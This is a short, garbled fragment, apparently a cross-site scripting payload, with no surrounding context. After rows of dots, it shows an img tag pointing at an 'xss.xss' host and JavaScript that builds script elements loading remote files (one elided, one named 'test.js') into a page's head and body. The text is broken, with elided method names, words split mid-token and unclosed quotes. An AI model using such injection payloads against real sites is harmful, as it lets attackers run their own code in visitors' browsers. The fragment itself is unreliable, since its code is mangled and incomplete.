.........
.........
.........
.........
.........
img src="http://xss.xss/xss.jpg" x='
.."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);" ......"var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /